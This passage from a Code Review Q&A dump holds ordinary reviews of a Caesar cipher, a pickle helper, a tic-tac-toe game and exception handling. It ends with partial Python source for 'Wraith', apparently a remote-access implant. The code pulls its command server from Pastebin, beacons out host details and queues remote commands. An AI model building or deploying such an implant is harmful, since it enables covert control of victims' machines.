'Ecguct Ekrjgt'\n >>> encode_string(s=\"Caesar Cipher\", n=54)\n 'Ecguct Ekrjgt'\n >>> encode_string(s=\"Aa Bb\", n=0)\n 'Aa Bb'\n >>> encode_string(s=\"Cc Dd\", n=-28)\n 'Aa Bb'\n \"\"\"\n if n == 0:\n return s\n\n n %= ALPHABET_LENGTH\n\n chars = [] \n for c in s:\n if c in ascii_lowercase:\n i = LOWERCASE_LUT[c]\n encoded_char = LOWERCASE[i + n]\n elif c in ascii_uppercase:\n i = UPPERCASE_LUT[c]\n encoded_char = UPPERCASE[i + n]\n else:\n encoded_char = c\n chars.append(encoded_char)\n\n return \"\".join(chars)\n</code></pre>\n\n<p>This is roughly 1,5x faster than the original code, at the cost of a little bit more memory for those look-up tables.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T17:13:31.957",
"Id": "236797",
"ParentId": "236789",
"Score": "11"
}
},
{
"body": "<h1>Magic number</h1>\n\n<pre><code>ALPHABET_LENGTH = 26\n</code></pre>\n\n<p>You don't need to hard-code <code>ALPHABET_LENGTH = 26</code> in your program. Let Python do the work for you, with <code>ALPHABET_LENGTH = len(ascii_lowercase)</code></p>\n\n<hr>\n\n<h1>Avoid String concatenation; use built-in functions</h1>\n\n<p>String concatenation is very slow.</p>\n\n<pre><code>new_str = new_str + encoded_char\n</code></pre>\n\n<p>AlexV's append / join isn't much better.</p>\n\n<p>Python comes with a <a href=\"https://docs.python.org/3/library/stdtypes.html#str.translate\" rel=\"noreferrer\"><code>str.translate</code></a>, function which will do a letter-for-letter substitution in a string, which is exactly what you want to do. As a built-in, it is blazingly fast compared to processing each letter individually:</p>\n\n<pre><code>>>> help(str.translate)\nHelp on method_descriptor:\n\ntranslate(self, table, /)\n Replace each character in the string using the given translation table.\n\n table\n Translation table, which must be a mapping of Unicode ordinals to\n Unicode ordinals, strings, or None.\n\n The table must implement lookup/indexing via __getitem__, for instance a\n dictionary or list. If this operation raises LookupError, the character is\n left untouched. Characters mapped to None are deleted.\n</code></pre>\n\n<p>It has a <a href=\"https://docs.python.org/3/library/stdtypes.html#str.maketrans\" rel=\"noreferrer\"><code>str.maketrans</code></a> function for creation of the translation table:</p>\n\n<pre><code>>>> help(str.maketrans)\nHelp on built-in function maketrans:\n\nmaketrans(x, y=None, z=None, /)\n Return a translation table usable for str.translate().\n\n If there is only one argument, it must be a dictionary mapping Unicode\n ordinals (integers) or characters to Unicode ordinals, strings or None.\n Character keys will be then converted to ordinals.\n If there are two arguments, they must be strings of equal length, and\n in the resulting dictionary, each character in x will be mapped to the\n character at the same position in y. If there is a third argument, it\n must be a string, whose characters will be mapped to None in the result.\n</code></pre>\n\n<p>Using these functions, you can easily construct a Caesar cipher encoder-decoder:</p>\n\n<pre><code>from string import ascii_lowercase, ascii_uppercase\n\ndef caesar_cipher(shift: int):\n shift %= len(ascii_lowercase)\n return str.maketrans(ascii_lowercase + ascii_uppercase,\n ascii_lowercase[shift:] + ascii_lowercase[:shift] +\n ascii_uppercase[shift:] + ascii_uppercase[:shift])\n\ndef encode_string(s: str, n: int) -> str:\n \"\"\"Your docstring here\"\"\"\n\n cipher = caesar_cipher(n)\n return s.translate(cipher)\n</code></pre>\n\n<p>The real speed will come from not creating a new translation table on each call.</p>\n\n<pre><code>if __name__ == \"__main__\":\n import doctest, timeit\n\n doctest.testmod()\n\n print(timeit.timeit(\n \"'Caesar Cipher'.translate(cipher)\",\n setup=\"from __main__ import caesar_cipher; cipher = caesar_cipher(2)\",\n number=100000)\n )\n</code></pre>\n\n<p>Net: 10 times faster</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T22:46:45.613",
"Id": "236814",
"ParentId": "236789",
"Score": "10"
}
}
] |
{
"AcceptedAnswerId": "236814",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T15:28:36.433",
"Id": "236789",
"Score": "10",
"Tags": [
"python",
"python-3.x",
"programming-challenge",
"caesar-cipher"
],
"Title": "Perform a Caesar Cipher Shift on a given string"
}
|
236789
|
<p>I want to come up with a simple convenience function to save and load pickle objects. A secondary objective is to simply execute the function without the above function. I have come up with two versions so far. Just want some opinions, which of the following will be better from a software engineering point of view. Or more pythonic. If possible please suggest a still better version, with changed parameter names or something already out there.</p>
<pre><code>def test(filename, func, exec_only=False, ignore_file=False, **kwargs):
if exec_only:
obj = func(**kwargs)
else:
fname = Path(filename)
if fname.exists() and not ignore_file:
obj = jl.load(filename)
else:
obj = func(**kwargs)
jl.dump(obj, fname, compress=True)
return obj
</code></pre>
<p>Another version:</p>
<pre><code>def test2(filename, func, exec_only=False, ignore_file=False, **kwargs):
if Path(filename).exists() and not ignore_file and not exec_only:
obj = jl.load(filename)
else:
obj = func(**kwargs)
if not exec_only:
jl.dump(obj, fname, compress=True)
return obj
</code></pre>
<p>Thanks a lot in advance.</p>
<p>EDIT: I created this function as a machine learning utility, since execution is typically very costly and the decision to execute is dependent on the presence of the file. I will be incorporating some features from Sam's answer. Thanks.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T15:59:25.440",
"Id": "464149",
"Score": "3",
"body": "Welcome to Code Review! I changed your title to [state what your code is supposed to do, not your concerns about it](/help/how-to-ask). Your question could be even better if you'd show a little example on how you intend to use those functions, although their purpose is already reasonably clear."
}
] |
[
{
"body": "<p>A few general tips:</p>\n\n<ol>\n<li><p>Have a function name that indicates what the function does. If it's hard to come up with a name that describes the function's purpose (e.g. because it does totally different things depending on what argument you pass it), it's a clue that the function needs to be broken up into multiple functions with clearer purposes. It looks like your function will either save OR load depending what arguments you pass it; this is pretty bad from a software design point of view because it makes it less obvious what it's doing from the caller's perspective, and harder to verify correctness from the implementation's perspective.</p></li>\n<li><p>Use type annotations. These also help to make it clear what your function does, and they let you use <code>mypy</code> to automatically catch bugs. Note that <code>**kwargs</code> are difficult to declare useful types for; any function call that takes <code>**kwargs</code> is impossible to check statically. Given that your <code>kwargs</code> are only used to invoke <code>func</code> (I'm guessing <code>func</code> is a constructor?), I would just put the responsibility on the caller to construct the object before passing it to you; that way if the function is typed, the checking will happen in the caller's frame, rather than having your function \"hide\" the types and permit bugs to happen.</p></li>\n<li><p>Don't have flags whose only purpose is to make the function a no-op. This is needlessly confusing; if the caller wants nothing to happen, they can just not call your function.</p></li>\n</ol>\n\n<p>Given those suggestions I think you'd end up with two different (and very simple) functions:</p>\n\n<pre><code>from typing import Optional\n\ndef load_pickle(file_name: str) -> Optional[object]:\n \"\"\"Load a pickled object from file_name IFF the file exists.\"\"\"\n return jl.load(file_name) if Path(file_name).exists() else None\n\ndef save_pickle(obj: object, file_name: str) -> None:\n \"\"\"Pickle and save the object to file_name.\"\"\"\n jl.dump(obj, file_name, compress=True)\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T17:20:55.210",
"Id": "464162",
"Score": "0",
"body": "What is as `str -> None`... Also `object` over `Any` seems like a bad suggestion to someone new to typehints."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T17:24:15.753",
"Id": "464163",
"Score": "0",
"body": "Maybe `file_name: str -> None` is supposed to be `file_name: str) -> None`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T20:11:58.237",
"Id": "464176",
"Score": "0",
"body": "yup, typo. `object` is a little more specific than `Any`, and I think it's the type you'd want here (i.e. you can't pickle `None`, I don't think?). Ideally there'd be some more specific `Pickleable` type/protocol but I don't think any such thing exists."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T21:56:45.663",
"Id": "464190",
"Score": "0",
"body": "It's more specific yes. But not how you're thinking, None falls under it as all classes are newstyle classes now - and so inherit from `object`. Also in Python 2 it may be incorrectly typing old-style classes. I'm sure we could play tennis with gotchas, which is why I don't think it's worth thinking about this in most usages of type hints. Especially for beginners. I agree with the idea of `Pickleable` tho."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T16:40:03.257",
"Id": "236795",
"ParentId": "236790",
"Score": "7"
}
}
] |
{
"AcceptedAnswerId": "236795",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T15:31:29.857",
"Id": "236790",
"Score": "4",
"Tags": [
"python",
"comparative-review",
"serialization"
],
"Title": "Convenience function to save and load pickle objects"
}
|
236790
|
<p>It's been a while since I last looked at C++ so before resuming one of my old projects I thought I'd brush up on the basics so I've written a basic noughts and crosses game (because it's just getting back into the language don't expect a fully fledged game, just a bit of working practice).</p>
<p>The game features (or lack thereof):</p>
<ul>
<li>2 Player only (i.e. no computer)</li>
<li>Separate grid and control descriptions (no numbers in free slots to represent possible moves)</li>
<li>No retry loop</li>
<li>Use of ANSI sequences to return to previous lines and overwrite the game grid between turns</li>
<li><em>Basic</em> input processing</li>
<li>Separation of game logic from game loop</li>
<li>... etc.</li>
</ul>
<p>Specific things I'd like recommendations on:</p>
<ul>
<li>The idea behind this was to allow clearing of the grid between moves, the reason for all the spaces is to remove the input character that would be present from the user selecting a move. This isn't needed in the other lines as they are overwriting the grid explicitly with a new grid. I'd like to be able to clear the grid more cleanly (or more portably, IIRC ANSI sequences aren't available on all systems?)</li>
</ul>
<pre><code>std::cout << "\033[F \033[F\033[F\033[F\033[F\033[F";
</code></pre>
<ul>
<li><code>Game::GetGrid</code> uses a <code>stringstream</code> to create the grid for outputting, but I'd prefer some form of string interpolation (similar to C#s <code>$"{grid[0][0]}"</code>), but I couldn't immediately find any recommendations besides <code>stringstreams</code>.</li>
<li><code>Game::GetUserInput</code> uses <code>std::getline</code> to read a line from the user and then checks the line length to determine if it's valid. I'd prefer to be able to use a function like <code>_getch</code> to get the user input but I know this isn't portable, what other options are there, or if there aren't any, did I do anything wrong in my method?</li>
</ul>
<p>Compiled using MSVC with <code>/std:C++14 /W3 /Od</code> (plus other VS defaults) (no warnings reported).</p>
<h3>Main.cpp</h3>
<pre><code>#include "Game.h"
#include <iostream>
int main() {
Game game;
bool finished = false;
while (!finished)
{
std::cout << "\033[F \033[F\033[F\033[F\033[F\033[F";
std::cout << game.GetGrid();
finished = game.MakeMove();
}
std::cout << "\033[F \033[F\033[F\033[F\033[F\033[F";
std::cout << game.GetGrid();
std::cout << "Game Complete\n";
}
</code></pre>
<h3>Game.h</h3>
<pre><code>#ifndef GAME_H
#define GAME_H
#include <vector>
#include <string>
class Game {
private:
enum class Players {
EMPTY,
X,
O
};
Players currentPlayer;
std::vector<std::vector<Players>> grid;
char GetCell(Players player);
bool CanMove(int cellNo);
void MakeMove(int cellNo);
char GetUserInput();
bool GameFinished();
public:
Game();
std::string GetGrid();
bool MakeMove();
};
#endif // !GAME_H
</code></pre>
<h3>Game.cpp</h3>
<pre><code>#include "Game.h"
#include <sstream>
#include <iostream>
Game::Game() {
grid = {
{ Players::EMPTY, Players::EMPTY, Players::EMPTY },
{ Players::EMPTY, Players::EMPTY, Players::EMPTY },
{ Players::EMPTY, Players::EMPTY, Players::EMPTY }
};
currentPlayer = Players::X;
}
char Game::GetCell(Players player) {
switch (player) {
case Players::EMPTY:
return ' ';
case Players::X:
return 'X';
case Players::O:
return 'O';
}
}
bool Game::CanMove(int cellNo) {
return grid[cellNo % 3][cellNo / 3] == Players::EMPTY;
}
void Game::MakeMove(int cellNo) {
grid[cellNo % 3][cellNo / 3] = currentPlayer;
}
char Game::GetUserInput() {
std::cout << "Enter cell number to make move (" << GetCell(currentPlayer) << "): ";
std::string input;
std::getline(std::cin, input);
return input.length() == 1 ? input[0] : ' ';
}
bool Game::GameFinished() {
// Horizontals
if (grid[0][0] != Players::EMPTY && grid[0][0] == grid[1][0] && grid[1][0] == grid[2][0]) { return true; }
if (grid[0][1] != Players::EMPTY && grid[0][1] == grid[1][1] && grid[1][1] == grid[2][1]) { return true; }
if (grid[0][2] != Players::EMPTY && grid[0][2] == grid[1][2] && grid[1][2] == grid[2][2]) { return true; }
// Verticals
if (grid[0][0] != Players::EMPTY && grid[0][0] == grid[0][1] && grid[0][1] == grid[0][2]) { return true; }
if (grid[1][0] != Players::EMPTY && grid[1][0] == grid[1][1] && grid[1][1] == grid[1][2]) { return true; }
if (grid[2][0] != Players::EMPTY && grid[2][0] == grid[2][1] && grid[2][1] == grid[2][2]) { return true; }
// Diagonals
if (grid[0][0] != Players::EMPTY && grid[0][0] == grid[1][1] && grid[1][1] == grid[2][2]) { return true; }
if (grid[2][0] != Players::EMPTY && grid[2][0] == grid[1][1] && grid[1][1] == grid[0][2]) { return true; }
// Empty Cells
for (int x = 0; x < 3; x++) {
for (int y = 0; y < 3; y++) {
if (grid[x][y] == Players::EMPTY) { return false; }
}
}
return true;
}
std::string Game::GetGrid() {
std::stringstream ss;
ss << GetCell(grid[0][0]) << '|' << GetCell(grid[1][0]) << '|' << GetCell(grid[2][0]) << '\t';
ss << 1 << '|' << 2 << '|' << 3 << '\n';
ss << "-+-+-\t-+-+-\n";
ss << GetCell(grid[0][1]) << '|' << GetCell(grid[1][1]) << '|' << GetCell(grid[2][1]) << '\t';
ss << 4 << '|' << 5 << '|' << 6 << '\n';
ss << "-+-+-\t-+-+-\n";
ss << GetCell(grid[0][2]) << '|' << GetCell(grid[1][2]) << '|' << GetCell(grid[2][2]) << '\t';
ss << 7 << '|' << 8 << '|' << 9 << '\n';
return ss.str();
}
bool Game::MakeMove() {
char move = GetUserInput();
if ('1' <= move && move <= '9' && CanMove(move - '1')) {
MakeMove(move - '1');
currentPlayer = currentPlayer == Players::X ? Players::O : Players::X;
return GameFinished();
}
return false;
}
</code></pre>
<hr>
<p><a href="https://github.com/tehphoenixz/XsAndOs" rel="noreferrer">Full solution repo</a></p>
<hr>
<h3>Example Playthrough</h3>
<p>Note, this is not an exact representation of how the game plays out, each step shown below is after the user has entered their move but prior to pressing return, and as the screen clears between each move you wouldn't see all steps of the game at once, but they're included here as individual steps.</p>
<pre class="lang-none prettyprint-override"><code> | | 1|2|3
-+-+- -+-+-
| | 4|5|6
-+-+- -+-+-
| | 7|8|9
Enter cell number to make move (X): 5
| | 1|2|3
-+-+- -+-+-
|X| 4|5|6
-+-+- -+-+-
| | 7|8|9
Enter cell number to make move (O): 3
| |O 1|2|3
-+-+- -+-+-
|X| 4|5|6
-+-+- -+-+-
| | 7|8|9
Enter cell number to make move (X): 4
| |O 1|2|3
-+-+- -+-+-
X|X| 4|5|6
-+-+- -+-+-
| | 7|8|9
Enter cell number to make move (O): 6
| |O 1|2|3
-+-+- -+-+-
X|X|O 4|5|6
-+-+- -+-+-
| | 7|8|9
Enter cell number to make move (X): 9
| |O 1|2|3
-+-+- -+-+-
X|X|O 4|5|6
-+-+- -+-+-
| |X 7|8|9
Enter cell number to make move (O): 1
O| |O 1|2|3
-+-+- -+-+-
X|X|O 4|5|6
-+-+- -+-+-
| |X 7|8|9
Enter cell number to make move (X): 2
O|X|O 1|2|3
-+-+- -+-+-
X|X|O 4|5|6
-+-+- -+-+-
| |X 7|8|9
Enter cell number to make move (O): 8
O|X|O 1|2|3
-+-+- -+-+-
X|X|O 4|5|6
-+-+- -+-+-
|O|X 7|8|9
Enter cell number to make move (X): 7
O|X|O 1|2|3
-+-+- -+-+-
X|X|O 4|5|6
-+-+- -+-+-
X|O|X 7|8|9
Game Complete
</code></pre>
|
[] |
[
{
"body": "<p>For a toy, it's completely fine to print whatever characters you want, because there's no need to consider portability. You make code that works on one computer and then it's done.</p>\n\n<p>But then there's nothing really to respond to, so let's pretend this is a hypothetical first draft of a larger production.</p>\n\n<hr>\n\n<p>The presentation and input of the game can be encapsulated separately out of the main function. That way if you run into some future difficulty using <code>\\033[F</code>, it should be easier to understand which code needs porting because it will all be in once place. </p>\n\n<p>The intent of this isn't just to make extra code for coding's sake, but to make the future work of porting as easy as possible, even if you don't presently know how it might need to be ported.</p>\n\n<p>It also makes it easier to reason about various tasks because there's less unrelated code together in one place. It's not always obvious how to do this, but one rule is that the game logic is very unlikely to ever need any IO headers directly included.</p>\n\n<hr>\n\n<p><code>Players</code> should not have an <code>EMPTY</code> value. The current player can never logically be <code>EMPTY</code>, but this wouldn't be clear just from looking at the header.</p>\n\n<hr>\n\n<p>Consider an array for the grid instead of a vector of vectors. It seems that they never need to be resized. Perhaps even making a Grid type (could be as simple as <code>using Grid = std::array<...>;</code>)</p>\n\n<hr>\n\n<p>You have a grid of <code>Players</code>, which seems odd, because it's really representing the ownership of a slot. This is presumably why you added EMPTY to the enum. A simple alternative is to store a grid of <code>std::optional<Players></code>. Or, an enum like <code>SlotOwner</code> which does have an EMPTY value inside it, but is distinct from the <code>Players</code> enum.</p>\n\n<hr>\n\n<p>Consider making your private class methods file-private to the cpp file. For example, <code>GetCell</code> does not require any game context and therefore does not need to be a class method. </p>\n\n<hr>\n\n<p>Consider overloading the ostream shift operator for Grid, or making the GetGrid method take an ostream argument. That way you don't need to construct a string only to put it directly into an ostream and then delete the string.</p>\n\n<p>Same for <code>GetUserInput</code> and taking an istream. </p>\n\n<p>This makes it more easily testable, flexible, uses less memory, and would be about the same amount of code.</p>\n\n<hr>\n\n<p>Consider <code>std::all_of</code> for testing if the entire grid is empty.</p>\n\n<hr>\n\n<p>Rename <code>GetUserInput</code> to something that indicates what it is returning.</p>\n\n<hr>\n\n<p>Convert the result of <code>GetUserInput</code> to an int before using it to minimize the code that's treating it like a char. You want the reader to be able to forget about how the input was acquired as quickly as possible.</p>\n\n<hr>\n\n<p>Rather than range checking the <code>GetUserInput</code> result in the <code>MakeMove</code> method, do the check inside <code>CanMove</code> which seems much more appropriate. </p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T20:12:52.817",
"Id": "236808",
"ParentId": "236792",
"Score": "5"
}
}
] |
{
"AcceptedAnswerId": "236808",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T16:00:18.913",
"Id": "236792",
"Score": "5",
"Tags": [
"c++",
"tic-tac-toe"
],
"Title": "Yet Another Command Line Noughts and Crosses"
}
|
236792
|
<p>Just looking for opinions on which is the best way to use exceptions?</p>
<p>Should the exception handling go inside the function or should it go outside the function when you actually call the function. For example, we could have the following function:</p>
<pre><code>def divideMe(a,b):
return a/b
</code></pre>
<p>This function is risky because there is a chance that if the calling program passes a value of 0 in for the argument b then the function would divide by zero and an exception would be raised. So the question is should you put the exception handling inside the function and handle it like this:</p>
<pre><code>def divideMe(a,b):
try:
return a/b
except Exception:
return 0
</code></pre>
<p>OR should the calling program catch and handle the exception, like this:</p>
<pre><code>try:
result = divideMe(x,y)
except Exception:
print("You entered 0 in for denominator")
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T20:24:24.343",
"Id": "464177",
"Score": "0",
"body": "Hi Alicia, unfortunately it's impossible to answer your question. I can make reasonable arguments that either are good - much like I'm sure you can, and is why you're asking this question. However deciding which is better comes down to the scenario that you're working in. And so to be able to even start thinking of answering this we'd need to know how and why it's being called. Since this is Code Review, if you have a situation that has brought about this question; then providing the calling function is likely to be received better."
}
] |
[
{
"body": "<p>Depends on what the function dose and what the error is, because the \"divide\" function dose division, and because the DevideByzero error is about division, the function should handle it, but if you were handling TypeErrors, for example that should be outside of the function.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T19:00:44.173",
"Id": "464170",
"Score": "2",
"body": "Please refrain from answering low-quality questions that are likely to get closed. Once you've answered, that [limits what can be done to improve the question](/help/someone-answers#help-post-body), making it more likely that your efforts are wasted. It's better to wait until the question is properly ready before you answer!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T17:30:24.833",
"Id": "236799",
"ParentId": "236798",
"Score": "-1"
}
},
{
"body": "<pre><code>In [3]: def divide(a, b):\n ...: return a / b\n ...: \n\n\nIn [5]: try:\n ...: result = divide(\"a\", 5)\n ...: except Exception:\n ...: print(\"You entered 0 in for denominator\")\n ...: \nYou entered 0 in for denominator\n</code></pre>\n\n<p>See the problem? Exceptions were invented to release the libraries from the burden to guess what beahiour the user wants for all kind of errors. Libraries shall not <code>print</code> but leave it to the caller. The caller is the only one to know how to react on different kind of exceptions. So if you catch, be specific.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T20:26:03.470",
"Id": "464178",
"Score": "0",
"body": "Please refrain from answering off-topic questions."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T18:57:17.790",
"Id": "236804",
"ParentId": "236798",
"Score": "1"
}
},
{
"body": "<p>As a general rule, you should allow exceptions to percolate back to the caller; this makes it easier for the caller to find bugs in their own code. A function should have a clear \"contract\" with its caller that will typically include raising an exception if the caller passes it invalid arguments. If part of your function's contract is that it will catch invalid arguments and return a default value in that case, make sure that's explicit in the docstring and/or name of the function:</p>\n\n<pre><code>def divide(a, b):\n \"\"\"Divide a by b. Raises an exception if a and b are not divisible.\"\"\"\n return a / b\n\ndef safe_divide(a, b):\n \"\"\"Divide a by b. Returns zero if a and b are not divisible for any reason.\"\"\"\n try:\n return a / b\n except:\n return 0\n</code></pre>\n\n<p>As a general rule, a bare <code>except</code> is bad practice and you should instead catch specific exceptions. For example, this code:</p>\n\n<pre><code>try:\n result = x / y\nexcept Exception:\n print(\"You entered 0 in for denominator\")\n</code></pre>\n\n<p>is incorrect because there are failure modes other than <code>y</code> being zero. Better exception handling might look like this:</p>\n\n<pre><code>try:\n result = x / y\nexcept ZeroDivisionError:\n print(\"You entered 0 in for denominator\")\nexcept TypeError:\n print(\"One of these things is not a number\")\n</code></pre>\n\n<p>If an exception is raised that you completely didn't expect, it's better to <strong>not</strong> catch it so that it will cause your program to fail hard and fast; this makes it easier for you to find your bug and fix it.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T20:26:49.020",
"Id": "464179",
"Score": "0",
"body": "Don't answer off-topic questions."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T20:28:07.523",
"Id": "464180",
"Score": "0",
"body": "This question doesn't look off-topic to me, but I respect your opinion."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T20:30:03.483",
"Id": "464181",
"Score": "0",
"body": "Then you clearly don't know the rules."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T20:32:12.150",
"Id": "464182",
"Score": "0",
"body": "It ticks all the boxes from https://codereview.stackexchange.com/help/on-topic, at least with a charitable reading (and why be uncharitable?). If it's in violation of other rules, then yes, I don't know those rules."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T20:36:52.027",
"Id": "464184",
"Score": "0",
"body": "@SamStafford I think it fails the question about hypothetical code: \"Is it actual code from a project rather than pseudo-code or hypothetical code?\""
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T20:38:35.420",
"Id": "464185",
"Score": "0",
"body": "I will agree with you, from that page it may seem on-topic. And if you're uncharitable then you may mark it against the \"Is it actual code from a project\" reason. However it is asking about a generic best practice, and so is part of the \"Missing Review Context\" close reason, specifically, \"generic best practices are outside the scope of this site.\" It is best if you validate against [this meta post](https://codereview.meta.stackexchange.com/q/3649) rather than the help center."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T21:48:14.107",
"Id": "464189",
"Score": "0",
"body": "I don't actually know for certain that it's not actual code from a project. It would be a very beginner-level project, certainly, but I'm not going to get in the business of demanding to see people's github pages and assessing the maturity level of their project before looking at their code, nor am I going to get in the business of reviewing every meta post on a regular cadence. As I said, though, I respect your downvote and your opinion, and I also hope OP gets something useful from my answer."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T23:02:13.010",
"Id": "464197",
"Score": "0",
"body": "I know the question is closed and I appreciate all answers! There was not an actual code for this yet I am still learning python and coding in general and my teacher said to try a forum with experienced coding people. I can only assume that I will very soon have a code requiring this. But again Thanks to all who were helpful!! And sorry Mods I thought it had enough context for everyone to understand that I was wanting an idea on using exceptions as I am sure I will very soon have to do or use something similar the this example (with more information of course)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T06:34:48.923",
"Id": "464218",
"Score": "0",
"body": "@SamStafford You've compleatly missed the point. \"if you're uncharitable\" isn't the reason it's off-topic."
}
],
"meta_data": {
"CommentCount": "9",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T20:25:56.503",
"Id": "236809",
"ParentId": "236798",
"Score": "-1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T17:19:58.310",
"Id": "236798",
"Score": "-3",
"Tags": [
"python",
"python-3.x",
"error-handling"
],
"Title": "Opinion on Python exceptions?"
}
|
236798
|
<p>I'm working on a Remote Admin Tool (nicknamed Wraith) which works over HTTP. The code is ugly so far but I'm mainly worried about performance and robustness.</p>
<p>Can anyone offer any suggestions as to how to optimise this code and make it more robust?</p>
<p>(I realise Python is a slow and heavy language but surely this program doesn't have to put my fans up to 70%?)</p>
<pre class="lang-py prettyprint-override"><code>#!/usr/bin/python3
# Import libraries
from aes import AesEncryption as aes # From the same dir as this file
import requests
import threading
import json
import random
import psutil
import sys
import socket
import time
import platform
import shutil
import getpass
import os
import subprocess
from uuid import getnode as get_mac
# Get start time of this wraith
start_time = time.time()
# START CONSTANTS
# Define some constants
# The URL where the URL of the C&C server is found. This option was added
# to allow the C&C URL to change without having to re-install all wraiths
FETCH_SERVER_LOCATION_URL = "https://pastebin.com/raw/some_ID"
# A key used to encrypt the first packet before a new key is sent over by the
# server. Not the most secure communication, I know. Any replacement welcome.
# However, wraiths can work over SSL and so can the panel so the security
# of this system is not critical
CRYPT_KEY = "some static encryption key"
# The fingerprint of the server to trust. This prevents the wraith from
# accidentally connecting and sending info to the wrong server if the
# URL is wrong
TRUSTED_SERVER = "some fingerprint"
# Port used by the wraith on localhost to check if other wraiths are currently
# running. We don't want duplicates
NON_DUPLICATE_CHECK_PORT = 47402
# Whether to log the interactions with the server to the console.
# Not recommended except for debugging
INTERACTION_LOGGING = True
# END CONSTANTS
# Fork and watch the child. Restart if it exits
"""
# Now, we fork :)
while True:
# This spawns a child process. The parent will monitor the child
# and re-start it if it exits
pid = os.fork()
# If this is not the child process (is parent process), start monitoring
# child and re-start it in case of failure
if pid != 0:
try:
while True: psutil.Process(pid)
except psutil.NoSuchProcess: continue
# If this is the child process, exit the loop and continue
else: break
"""
# Check if any other wraiths are active. If so, die. If not, bind
# to socket to tell all other wraiths we're active.
single_instance_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try: single_instance_socket.bind(("localhost", NON_DUPLICATE_CHECK_PORT))
except: sys.exit(0)
# Init crypt
aes = aes()
# Get the address of the wraith API
connect_url = requests.get(FETCH_SERVER_LOCATION_URL).text
# Create a class for the wraith
class Wraith(object):
# When the wraith is created
def __init__(self, api_url, CRYPT_KEY, crypt_obj):
self.id = None # Will be replaced with server-assigned UUID on login
self.api_url = api_url # Create a local copy of the API url
self.CRYPT_KEY = CRYPT_KEY # Create a local copy of the encryption key
self.crypt = crypt_obj # Create a local copy of the encryption object
self.command_queue = [] # Create a queue of all the commands to run
# Start the command running thread
self.command_thread = threading.Thread(target=self.run_commands_thread)
self.command_thread.start()
# Make requests to the api and return responses
def api(self, data_dict):
# If we are meant to log interactions, log
if INTERACTION_LOGGING: print("\n[CLIENT]:\n"+json.dumps(data_dict)+"\n")
# Create the encrypted data string
data = self.crypt.encrypt(json.dumps(data_dict), self.CRYPT_KEY).decode()
# Generate a prefix for ID and security purposes
prefix=("".join([random.choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890") for i in range(5)])+"Wr7H")
# Send the data using a HTTP POST request and get the response (only text, don't need headers)
try: response = requests.post(connect_url, data=prefix+data).text.encode()
# If for some reason the request failed, return False
except: return False
# Attempt to decrypt the response with the crypt object and key
response_is_crypt = True
try: response = self.crypt.decrypt(response, self.CRYPT_KEY)
# If this fails, the message must be unencrypted. Ignore the err and try to JSON decode
except: response_is_crypt = False
try:
response = json.loads(response)
# If we are meant to log, log
if INTERACTION_LOGGING: print("\n[SERVER]:\n"+json.dumps(response)+"\nISCRYPT: {}\n".format(response_is_crypt))
# If all worked out well, return the response as a dict. If something failed, return False
return response
except: return False
# Get own local IP
def get_ip(self):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
# Doesn't need to be reachable
s.connect(('10.255.255.255', 1))
IP = s.getsockname()[0]
except: IP = '127.0.0.1'
finally: s.close()
return IP
# Log in with the api
def login(self):
# Create the data we need to send
data = {}
data["message_type"] = "login"
data["data"] = {
"osname": socket.gethostname(),
"ostype": platform.platform(),
"macaddr": get_mac(),
}
# Send the request
response = self.api(data)
# Check the data received back
if isinstance(response, type({})) and response["status"] == "SUCCESS":
# If the server did not identify itself correctly, fail
if response["server_id"] != TRUSTED_SERVER: return False
# Save given ID as wraith ID. We'll identify ourselves with it from now on
self.id = response["wraith_id"]
# If we're told to switch encryption keys, switch
if "switch_key" in response.keys():
self.CRYPT_KEY = response["switch_key"]
return True
else: return False
# Send a heartbeat to keep login alive and fetch commands
def heartbeat(self):
